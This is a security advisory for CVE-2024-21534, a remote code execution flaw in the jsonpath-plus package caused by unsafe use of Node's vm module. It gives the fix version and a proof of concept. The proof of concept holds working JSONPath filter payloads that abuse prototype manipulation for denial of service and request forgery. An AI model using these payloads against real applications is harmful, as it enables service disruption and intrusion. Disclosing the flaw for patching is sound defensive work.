Remote Code Execution (RCE) Affecting jsonpath-plus package, versions <10.2.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

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  • Snyk IDSNYK-JS-JSONPATHPLUS-7945884
  • published10 Oct 2024
  • disclosed10 Sept 2024
  • creditAndrea Angelo Raineri

Introduced: 10 Sep 2024

CVE-2024-21534  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade jsonpath-plus to version 10.2.0 or higher.

Overview

jsonpath-plus is an A JS implementation of JSONPath with some additional operators

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.

Note:

There were several attempts to fix it in versions 10.0.0-10.1.0 but it could still be exploited using different payloads.

PoC

const { JSONPath } = require("jsonpath-plus");

const pathDoS =
  "$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]";
const pathSsrf =
  "$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]";

const result = JSONPath({
  json: {
    referrer: {
      value: "http://authorized.com",
      writable: true,
    },
    method: {
      value: "POST",
      writable: true,
    },
    body: {
      value: "Hello, World!",
      writable: true,
    },
  },
  path: pathDoS,
});

result.toString(); //DoS

//fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement

CVSS Scores

version 4.0
version 3.1